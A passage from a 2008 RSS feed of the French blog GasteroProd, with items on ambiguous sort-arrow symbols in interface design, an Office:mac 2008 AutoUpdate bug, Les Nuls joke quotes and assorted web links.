+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/319739974/en-ergonomie-le-choix-des-bons-symboles-est-primordial.html</link>\r
+         <description>&lt;div style="font-weight:bolder;"&gt;&lt;p&gt;Si vous devez opter pour des métaphores visuelles pour représenter des données ou des actions réalisables, faites bien attention à ne pas laisser d&amp;#8217;ambiguïté possible, qui pourrait conduire à une mauvaise interprétation ou utilisation, et donc une perte de confiance de l&amp;#8217;utilisateur.&lt;/p&gt;&lt;/div&gt; &lt;div&gt;&lt;p&gt;&lt;a rel="nofollow" target="_blank" href="http://t37.net/pages/colophon" class="spip_out"&gt;Frédéric de Villamil&lt;/a&gt; cite aujourd&amp;#8217;hui dans &lt;a rel="nofollow" target="_blank" href="http://t37.net/" class="spip_out"&gt;son blog&lt;/a&gt; le &lt;a rel="nofollow" target="_blank" href="http://t37.net/entre-logique-et-symbolique-ces-fleches-de-tri-qui-veulent-tout-dire" class="spip_out"&gt;cas d&amp;#8217;un triangle censé représenter le sens de tri d&amp;#8217;une liste&lt;/a&gt;, dont l&amp;#8217;interprétation qu&amp;#8217;il fait est différente de celle faite par d&amp;#8217;autres personnes.&lt;/p&gt; &lt;p&gt;&lt;span class='spip_document_514 spip_documents spip_documents_center'&gt;\r
+&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L283xH54/villamil-fleche_tri-1214398454.jpg' width='283' height='54' alt="&amp;#169; Fr&amp;#233;d&amp;#233;ric de Villamil" title="&amp;#169; Fr&amp;#233;d&amp;#233;ric de Villamil" style='height:54px;width:283px;'/&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;Au delà du fait que je ne comprends pas la présence d&amp;#8217;un tel élément sur un onglet&amp;nbsp;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nb1" name="nh1" id="nh1" class="spip_note" title='[1] Une copie d'&gt;1&lt;/a&gt;], j&amp;#8217;ai plutôt tendance à interpréter comme lui ce triangle, c&amp;#8217;est à dire sa pointe indiquant le sens de tri, mais je n&amp;#8217;appellerais pas forcément cela comme lui une lecture &amp;#171;&amp;nbsp;logique&amp;nbsp;&amp;#187;, vu le nombre de personnes qui interprètent la chose différemment... &lt;img alt=";-)" title=";-)" class="no_image_filtrer format_png" src="http://www.gasteroprod.com/plugins/zone/_stable_/couteau_suisse/img/smileys/clin_d-oeil.png" width="19" height="19"/&gt;&lt;/p&gt; &lt;p&gt;Il indique d&amp;#8217;ailleurs que pour lui &amp;#171;&amp;nbsp;une pointe vers le bas signifie [...] que le premier élément de la liste se trouve sur la première ligne&amp;nbsp;&amp;#187;, mais il ne spécifie pas ce qu&amp;#8217;il entend par &amp;#171;&amp;nbsp;premier élément&amp;nbsp;&amp;#187;. Je ne pense pas que cette appellation soit adaptée, puisque pour moi le &amp;#171;&amp;nbsp;premier élément&amp;nbsp;&amp;#187; est bien celui de l&amp;#8217;affichage, donc toujours en début (visuel) de la liste...&lt;/p&gt; &lt;p&gt;Je pense de toute façon que c&amp;#8217;est le symbole qui est mal choisi, puisque l&amp;#8217;on peut l&amp;#8217;interpréter tant comme une flèche &amp;mdash; notre interprétation à tous les deux &amp;mdash; que comme une pyramide&amp;nbsp;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nb2" name="nh2" id="nh2" class="spip_note" title='[2] J'&gt;2&lt;/a&gt;] &amp;mdash; l&amp;#8217;interprétation des autres. Un symbole de devrait pas être ambiguë à ce point. Ici, il faudrait &amp;mdash; selon l&amp;#8217;information que l&amp;#8217;on souhaite présenter &amp;mdash; soit une flèche clairement représentée avec un fût plus de la pointe, soit un symbole indiquant plus clairement comment est fait le tri, par exemple &amp;#171;&amp;nbsp;A-Z&amp;nbsp;&amp;#187; ou &amp;#171;&amp;nbsp;0-9&amp;nbsp;&amp;#187;.&lt;/p&gt; &lt;p&gt;J&amp;#8217;étais tombé il y a plusieurs mois sur une initiative tentant de définir des icônes/symboles les plus simples et universels possible, mais je ne retrouve malheureusement plus le site&amp;nbsp;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nb3" name="nh3" id="nh3" class="spip_note" title='[3] A se demander &amp;#224; quoi servent les outils de bookmarking social (...)'&gt;3&lt;/a&gt;].&lt;/p&gt;&lt;/div&gt; &lt;div style="border:1px solid #333;"&gt;&lt;p&gt;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nh1" name="nb1" class="spip_note" title="Notes 1"&gt;1&lt;/a&gt;] Une copie d&amp;#8217;écran plus large donnerait peut-être plus de logique&lt;/p&gt; &lt;p&gt;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nh2" name="nb2" class="spip_note" title="Notes 2"&gt;2&lt;/a&gt;] J&amp;#8217;ai failli dire un entonnoir, mais ce symbole est plutôt réservé à la notion de filtrage&lt;/p&gt; &lt;p&gt;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nh3" name="nb3" class="spip_note" title="Notes 3"&gt;3&lt;/a&gt;] A se demander à quoi servent les outils de bookmarking social&amp;nbsp;!&lt;/p&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/Blog/~4/319706787" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/319739974" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">http://www.gasteroprod.com/../blog/en-ergonomie-le-choix-des-bons-symboles-est-primordial.html</guid>\r
+         <pubDate>Wed, 25 Jun 2008 05:13:55 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.gasteroprod.com%2F..%2Fblog%2Fen-ergonomie-le-choix-des-bons-symboles-est-primordial.html</feedburner:awareness><feedburner:origLink>http://www.gasteroprod.com/../blog/en-ergonomie-le-choix-des-bons-symboles-est-primordial.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Lien : 6nergies est désormais gérée par Cohésion Networking</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/318056314/index.php</link>\r
+         <description>Il n'y a pas que chez Yahoo! qu'il y a des départs : « Le service 6nergies.net vient d'être repris par Cohésion Internationale Networking. Désormais, votre interlocuteur est Frédérick Jacquelet. » Allez, il est temps que je supprime mon compte...&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/318056314" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">4e46a1d067163bb87f997478177e511a_801bc8838d5f93d2c0060a04c04b85cf</guid>\r
+         <pubDate>Mon, 23 Jun 2008 04:00:13 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fbeta.6nergies.net%2Fblog%2Findex.php%3F2008%2F06%2F23%2F720-6nergies-est-desormais-geree-par-cohesion-networking</feedburner:awareness><feedburner:origLink>http://beta.6nergies.net/blog/index.php?2008/06/23/720-6nergies-est-desormais-geree-par-cohesion-networking</feedburner:origLink></item>\r
+      <item>\r
+         <title>Blog : Microsoft Office:mac 2008 a un auto update capricieux</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/318086560/microsoft-office-mac-2008-a-un-auto-update-capricieux.html</link>\r
+         <description>&lt;div style="font-weight:bolder;"&gt;&lt;p&gt;Il est parfois amusant de découvrir des bugs de logiciels, surtout s&amp;#8217;ils n&amp;#8217;empêchent pas de travailler et viennent de gros éditeurs dont on attendrait une qualité parfaite. C&amp;#8217;est encore plus amusant quand le bug intervient dès le lancement du logiciel, en l&amp;#8217;occurrence ici la mise à jour automatique de Microsoft Office:mac 2008 juste après son installation.&lt;/p&gt;&lt;/div&gt; &lt;div&gt;&lt;p&gt;J&amp;#8217;ai en effet eu l&amp;#8217;amusante surprise de découvrir que la première chose que tente d&amp;#8217;installer le &lt;i&gt;Service Pack 1&lt;/i&gt; de Microsoft Office:mac 2008, c&amp;#8217;est &lt;i&gt;AutoUpdate&lt;/i&gt;, dont je ne vous ferais pas l&amp;#8217;affront de décrire la fonctionnalité&amp;nbsp;:&lt;/p&gt; &lt;p&gt;&lt;span class='spip_document_512 spip_documents spip_documents_center'&gt;\r
+&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L450xH320/microsoft-office-mac-2008-sp1-install-f0af1.png' width='450' height='320' alt="" style='height:320px;width:450px;'/&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;Sauf que comme souvent, il faut fermer certaines applications pour assurer une installation sans soucis, et ici pour installer l&amp;#8217;AutoUpdate en question, il faut arrêter... AutoUpdate&amp;nbsp;!&lt;/p&gt; &lt;p&gt;&lt;span class='spip_document_513 spip_documents spip_documents_center'&gt;\r
+&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L450xH186/microsoft-autoupdate-99627.png' width='450' height='186' alt="" style='height:186px;width:450px;'/&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;Alors, l&amp;#8217;œuf ou la poule&amp;nbsp;?&lt;/p&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/Blog/~4/318065569" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/318086560" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">http://www.gasteroprod.com/../blog/microsoft-office-mac-2008-a-un-auto-update-capricieux.html</guid>\r
+         <pubDate>Mon, 23 Jun 2008 03:46:13 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.gasteroprod.com%2F..%2Fblog%2Fmicrosoft-office-mac-2008-a-un-auto-update-capricieux.html</feedburner:awareness><feedburner:origLink>http://www.gasteroprod.com/../blog/microsoft-office-mac-2008-a-un-auto-update-capricieux.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Blog : Citation de Les Nuls</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/316815901/citation-de-les-nuls,697.html</link>\r
+         <description>&lt;div style="font-weight:bolder;"&gt;&lt;p&gt;Festival de Cannes&lt;/p&gt; &lt;p&gt;On se fait tellement chier ici, à Cannes, que même la palme dort.&lt;/p&gt;&lt;/div&gt; &lt;div&gt;&lt;p&gt;Extrait de &amp;#171;&amp;nbsp;&lt;a rel="nofollow" target="_blank" href="http://www.amazon.fr/exec/obidos/ASIN/2020200090/phpheaven-21" class="spip_out"&gt;L&amp;#8217;info, c&amp;#8217;est rigolo&lt;/a&gt;&amp;nbsp;&amp;#187;&lt;/p&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/Blog/~4/316802564" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/316815901" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">http://www.gasteroprod.com/../blog/citation-de-les-nuls,697.html</guid>\r
+         <pubDate>Sat, 21 Jun 2008 01:03:00 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.gasteroprod.com%2F..%2Fblog%2Fcitation-de-les-nuls%2C697.html</feedburner:awareness><feedburner:origLink>http://www.gasteroprod.com/../blog/citation-de-les-nuls,697.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Lien : Miroir, miroir, dis moi qui est le plus beau...</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/316312459/spip</link>\r
+         <description>...des sites réalisés avec SPIP !&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/316312459" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">4e46a1d067163bb87f997478177e511a_7c9e8376f2b2599c17715b59dcad5bc1</guid>\r
+         <pubDate>Fri, 20 Jun 2008 08:20:47 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fcommandshift3.com%2Ftag%2Fspip</feedburner:awareness><feedburner:origLink>http://commandshift3.com/tag/spip</feedburner:origLink></item>\r
+      <item>\r
+         <title>Lien : SCOOP : SPIP 2.0 sortira cet été</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/316274163/Le-plugin-PB-Couleur-Rubrique</link>\r
+         <description>En tout cas, c'est ARNO*, l'un des mousquetaires du projet, qui l'annonce dans un article présentant son dernier plugin...&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/316274163" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">4e46a1d067163bb87f997478177e511a_84a889be7800fa75918898b5369c84bc</guid>\r
+         <pubDate>Fri, 20 Jun 2008 07:30:03 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.paris-beyrouth.org%2FLe-plugin-PB-Couleur-Rubrique</feedburner:awareness><feedburner:origLink>http://www.paris-beyrouth.org/Le-plugin-PB-Couleur-Rubrique</feedburner:origLink></item>\r
+      <item>\r
+         <title>Lien : MUTO, a wall-painted animation by BLU</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/315330036/993998</link>\r
+         <description>Un incroyable dessin animé réalisé en dessinant sur des murs, génial !&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/315330036" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">4e46a1d067163bb87f997478177e511a_91f9ff3c7bf679d16219f9114ed0432e</guid>\r
+         <pubDate>Thu, 19 Jun 2008 03:02:17 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.vimeo.com%2F993998</feedburner:awareness><feedburner:origLink>http://www.vimeo.com/993998</feedburner:origLink></item>\r
+      <item>\r
+         <title>Lien : Stewart Butterfield et Caterina Fake quittent Yahoo!</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/315330037/AP-Yahoo-Departures.html</link>\r
+         <description>Les créateurs de Flickr quittent Yahoo!, mais le service devrait pouvoir continuer à fonctionner sans eux. Attendons de voir ce qu'ils vont monter comme nouveau service innovant...&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/315330037" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">4e46a1d067163bb87f997478177e511a_e17a96c3589fd9f7349609467e29b7aa</guid>\r
+         <pubDate>Thu, 19 Jun 2008 02:27:41 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.nytimes.com%2Faponline%2Fbusiness%2FAP-Yahoo-Departures.html%3F_r%3D1</feedburner:awareness><feedburner:origLink>http://www.nytimes.com/aponline/business/AP-Yahoo-Departures.html?_r=1</feedburner:origLink></item>\r
+      <item>\r
+         <title>Blog : Citation de Les Nuls</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/315298301/citation-de-les-nuls,696.html</link>\r
+         <description>&lt;div style="font-weight:bolder;"&gt;&lt;p&gt;Dans la rue&lt;/p&gt; &lt;p&gt;Au cours d&amp;#8217;une manifestation, un policier a interpellé un manifestant. Ce dernier ne s&amp;#8217;est pas retourné.&lt;/p&gt;&lt;/div&gt; &lt;div&gt;&lt;p&gt;Extrait de &amp;#171;&amp;nbsp;&lt;a rel="nofollow" target="_blank" href="http://www.amazon.fr/exec/obidos/ASIN/2020200090/phpheaven-21" class="spip_out"&gt;L&amp;#8217;info, c&amp;#8217;est rigolo&lt;/a&gt;&amp;nbsp;&amp;#187;&lt;/p&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/Blog/~4/315281335" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/315298301" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">http://www.gasteroprod.com/../blog/citation-de-les-nuls,696.html</guid>\r
+         <pubDate>Thu, 19 Jun 2008 01:01:00 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.gasteroprod.com%2F..%2Fblog%2Fcitation-de-les-nuls%2C696.html</feedburner:awareness><feedburner:origLink>http://www.gasteroprod.com/../blog/citation-de-les-nuls,696.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Blog : Citation de Les Nuls</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/313665127/citation-de-les-nuls,695.html</link>\r
+         <description>&lt;div style="font-weight:bolder;"&gt;&lt;p&gt;Fatalité&lt;/p&gt; &lt;p&gt;Victime d&amp;#8217;un stupide accident de la route, l&amp;#8217;homme le plus vieux du monde vient de mourir à l&amp;#8217;âge de 28 ans. Rappelons qu&amp;#8217;il aurait dû avoir 143 ans en l&amp;#8217;an 2131.&lt;/p&gt;&lt;/div&gt; &lt;div&gt;&lt;p&gt;Extrait de &amp;#171;&amp;nbsp;&lt;a rel="nofollow" target="_blank" href="http://www.amazon.fr/exec/obidos/ASIN/2020200090/phpheaven-21" class="spip_out"&gt;L&amp;#8217;info, c&amp;#8217;est rigolo&lt;/a&gt;&amp;nbsp;&amp;#187;&lt;/p&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/Blog/~4/313651326" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/313665127" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">http://www.gasteroprod.com/../blog/citation-de-les-nuls,695.html</guid>\r
+         <pubDate>Tue, 17 Jun 2008 00:11:00 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.gasteroprod.com%2F..%2Fblog%2Fcitation-de-les-nuls%2C695.html</feedburner:awareness><feedburner:origLink>http://www.gasteroprod.com/../blog/citation-de-les-nuls,695.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Blog : Citation de Les Nuls</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/312736002/citation-de-les-nuls,694.html</link>\r
+         <description>&lt;div style="font-weight:bolder;"&gt;&lt;p&gt;Fait divers&lt;/p&gt; &lt;p&gt;Un jeune garçon de 12 ans décroche du mur du salon l&amp;#8217;arme de son père. Un faux geste&amp;nbsp;: 123 morts. L&amp;#8217;arme, un tank, était chargée.&lt;/p&gt;&lt;/div&gt; &lt;div&gt;&lt;p&gt;Extrait de &amp;#171;&amp;nbsp;&lt;a rel="nofollow" target="_blank" href="http://www.amazon.fr/exec/obidos/ASIN/2020200090/phpheaven-21" class="spip_out"&gt;L&amp;#8217;info, c&amp;#8217;est rigolo&lt;/a&gt;&amp;nbsp;&amp;#187;&lt;/p&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/Blog/~4/312711388" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/312736002" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">http://www.gasteroprod.com/../blog/citation-de-les-nuls,694.html</guid>\r
+         <pubDate>Sun, 15 Jun 2008 00:03:00 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.gasteroprod.com%2F..%2Fblog%2Fcitation-de-les-nuls%2C694.html</feedburner:awareness><feedburner:origLink>http://www.gasteroprod.com/../blog/citation-de-les-nuls,694.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Blog : Des jeux de bastion sur la PS3 ?</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/311405428/des-jeux-de-bastion-sur-la-ps3.html</link>\r
+         <description>&lt;div style="font-weight:bolder;"&gt;&lt;p&gt;Oui, oui, vous avez bien lu, c&amp;#8217;est bien de jeux de &amp;#171;&amp;nbsp;bastion&amp;nbsp;&amp;#187; que je parle, le genre qui laisse imaginer des combats entre deux équipes pour conquérir le territoire de l&amp;#8217;autre. En tout cas c&amp;#8217;est ce que proposait le &lt;a rel="nofollow" target="_blank" href="http://store.playstation.com/" class="spip_out"&gt;PlayStation Store&lt;/a&gt; lors de sa récente mise à jour...&lt;/p&gt;&lt;/div&gt; &lt;div&gt;&lt;p&gt;&lt;span class='spip_document_508 spip_documents spip_documents_center'&gt;\r
+&lt;img src='http://www.gasteroprod.com/local/cache-vignettes/L450xH338/playstation-store-bastion-ec6ab.jpg' width='450' height='338' alt="" style='height:338px;width:450px;'/&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;Bon, depuis ils ont modifié, ils parlent de jeux de &amp;#171;&amp;nbsp;baston&amp;nbsp;&amp;#187;, c&amp;#8217;est du coup beaucoup plus classique, ça m&amp;#8217;intéresse moins, tant pis pour l&amp;#8217;originalité&amp;nbsp;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nb1" name="nh1" id="nh1" class="spip_note" title='[1] Faut plut&amp;#244;t aller voir ici pour l'&gt;1&lt;/a&gt;].&lt;/p&gt;&lt;/div&gt; &lt;div style="border:1px solid #333;"&gt;&lt;p&gt;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nh1" name="nb1" class="spip_note" title="Notes 1"&gt;1&lt;/a&gt;] Faut plutôt aller voir &lt;a rel="nofollow" target="_blank" href="http://www.nonwii.com/" class="spip_out"&gt;ici&lt;/a&gt; pour l&amp;#8217;originalité, de toute façon...&lt;/p&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/Blog/~4/311396448" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/311405428" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">http://www.gasteroprod.com/../blog/des-jeux-de-bastion-sur-la-ps3.html</guid>\r
+         <pubDate>Fri, 13 Jun 2008 12:30:00 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.gasteroprod.com%2F..%2Fblog%2Fdes-jeux-de-bastion-sur-la-ps3.html</feedburner:awareness><feedburner:origLink>http://www.gasteroprod.com/../blog/des-jeux-de-bastion-sur-la-ps3.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Lien : Haute Définition : Récapitulons en détails</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/311012613/6055-television-haute-definition-recapitulons-en-details.html</link>\r
+         <description>Essayons donc de comprendre un peu mieux les dessous de la HD et la qualité vidéo et de rendre cette technologie un peu moins nébuleuse&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/311012613" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">4e46a1d067163bb87f997478177e511a_65a2613b6e5edfe51d4049a48b97c8be</guid>\r
+         <pubDate>Fri, 13 Jun 2008 01:08:21 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.freenews.fr%2Fnat%2F6055-television-haute-definition-recapitulons-en-details.html</feedburner:awareness><feedburner:origLink>http://www.freenews.fr/nat/6055-television-haute-definition-recapitulons-en-details.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Photo : Stairway to... surface, basically</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/311026598/stairway-to-surface-basically.html</link>\r
+         <description>&lt;img src="http://www.gasteroprod.com/local/cache-vignettes/L245xH245/arton698-d95ed.jpg" alt='Stairway to... surface, basically' width='245' height='245' class='spip_logos' style='height:245px;width:245px;'/&gt;&lt;div style="font-weight:bolder;"&gt;&lt;p&gt;Désolé, non, pas un &amp;#171;&amp;nbsp;&lt;i&gt;stairway to heaven&lt;/i&gt;&amp;nbsp;&amp;#187;, c&amp;#8217;est juste l&amp;#8217;escalier en spirale qu&amp;#8217;il faut prendre pour sortir des caves du célèbre producteur de Champagne &lt;a rel="nofollow" target="_blank" href="http://www.taittinger.fr/" class="spip_out"&gt;Taittinger&lt;/a&gt;, à Reims.&lt;/p&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/311026598" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">http://www.gasteroprod.com/../photos/mes-photos/stairway-to-surface-basically.html</guid>\r
+         <pubDate>Fri, 13 Jun 2008 00:01:32 PDT</pubDate>\r
+         <media:thumbnail url="http://www.gasteroprod.com/local/cache-vignettes/L245xH245/arton698-d95ed.jpg" />\r
+         <category>perspective</category>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Ffeeds.feedburner.com%2F%7Er%2FGasteroProd%2FPhotos%2F%7E3%2F310991910%2Fstairway-to-surface-basically.html</feedburner:awareness><feedburner:origLink>http://feeds.feedburner.com/~r/GasteroProd/Photos/~3/310991910/stairway-to-surface-basically.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Lien : Plurk c'est beurk</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/310432591/nhoizey</link>\r
+         <description>Plurk c'est assez joli et intéressant, mais c'est inutile (il y a déjà Twitter), c'est inutilisable (franchement, lire les réponses en dépliant les blocs, galère), et ça ne marche pas avec FF3RC2 sur Mac OS X Tiger !&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/310432591" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">4e46a1d067163bb87f997478177e511a_15cedd316995f3e505f42a4dab4e3fec</guid>\r
+         <pubDate>Thu, 12 Jun 2008 06:39:01 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.plurk.com%2Fuser%2Fnhoizey</feedburner:awareness><feedburner:origLink>http://www.plurk.com/user/nhoizey</feedburner:origLink></item>\r
+      <item>\r
+         <title>Blog : Citation de Les Nuls</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/311012614/citation-de-les-nuls.html</link>\r
+         <description>&lt;div style="font-weight:bolder;"&gt;&lt;p&gt;Chômage&lt;/p&gt; &lt;p&gt;Chiffres catastrophiques pour le mois de septembre. Pour la seule fédération de football, on compte plus d&amp;#8217;un million de licenciés.&lt;/p&gt;&lt;/div&gt; &lt;div&gt;&lt;p&gt;Extrait de &amp;#171;&amp;nbsp;&lt;a rel="nofollow" target="_blank" href="http://www.amazon.fr/exec/obidos/ASIN/2020200090/phpheaven-21" class="spip_out"&gt;L&amp;#8217;info, c&amp;#8217;est rigolo&lt;/a&gt;&amp;nbsp;&amp;#187;&lt;/p&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/Blog/~4/311003525" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/GasteroProd/~4/311012614" height="1" width="1"/&gt;</description>\r
+         <guid isPermaLink="false">http://www.gasteroprod.com/../blog/citation-de-les-nuls.html</guid>\r
+         <pubDate>Thu, 12 Jun 2008 02:16:00 PDT</pubDate>\r
+      <feedburner:awareness>http://api.feedburner.com/awareness/1.0/GetItemData?uri=GasteroProd&amp;itemurl=http%3A%2F%2Fwww.gasteroprod.com%2F..%2Fblog%2Fcitation-de-les-nuls.html</feedburner:awareness><feedburner:origLink>http://www.gasteroprod.com/../blog/citation-de-les-nuls.html</feedburner:origLink></item>\r
+      <item>\r
+         <title>Blog : Les dinosaures du Web francophone sont gâteux... et je me fais (virtuellement) vieux</title>\r
+         <link>http://feeds.feedburner.com/~r/GasteroProd/~3/309915594/les-dinosaures-du-web-francophone-sont-gateux-et-je-me-fais-virtuellement-vieux.html</link>\r
+         <description>&lt;div style="font-weight:bolder;"&gt;&lt;p&gt;Avec l&amp;#8217;âge, pas d&amp;#8217;échappatoire, on devient gâteux, et les dinosaures du Web francophone semblent déjà l&amp;#8217;être, à ruminer collectivement sur le passé, le classique &amp;#171;&amp;nbsp;c&amp;#8217;était mieux avant&amp;nbsp;&amp;#187; sur le bout de la langue. Et en plus ça sent la redite cette histoire de &lt;a rel="nofollow" target="_blank" href="http://embruns.net/logbook/2008/06/08.html#006563" class="spip_out"&gt;labellisation &amp;#171;&amp;nbsp;dinoblogueur&amp;nbsp;&amp;#187;&lt;/a&gt;&amp;nbsp;!&lt;/p&gt;&lt;/div&gt; &lt;div&gt;&lt;p&gt;Déjà, en juillet 2004, le même &lt;a rel="nofollow" target="_blank" href="http://fr.wikipedia.org/wiki/Laurent_Gloaguen" class="spip_out"&gt;Laurent Gloaguen&lt;/a&gt;&amp;nbsp;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nb1" name="nh1" id="nh1" class="spip_note" title='[1] Ca p&amp;#232;te grave, d'&gt;1&lt;/a&gt;] nous proposait de participer à une &lt;a rel="nofollow" target="_blank" href="http://embruns.net/carnet/blogosphere/petite-histoire-blogosphere.html" class="spip_out"&gt;petite histoire de la blogosphère&lt;/a&gt;&amp;nbsp;[&lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/#nb2" name="nh2" id="nh2" class="spip_note" title='[2] O&amp;#249; la mise en &amp;#233;vidence color&amp;#233;e des types d'&gt;2&lt;/a&gt;], dans laquelle était &lt;a rel="nofollow" target="_blank" href="http://www.gasteroprod.com/blog/gastero-prod-ecarte-de-la-blog-story.html" class="spip_in"&gt;oublié Gastero 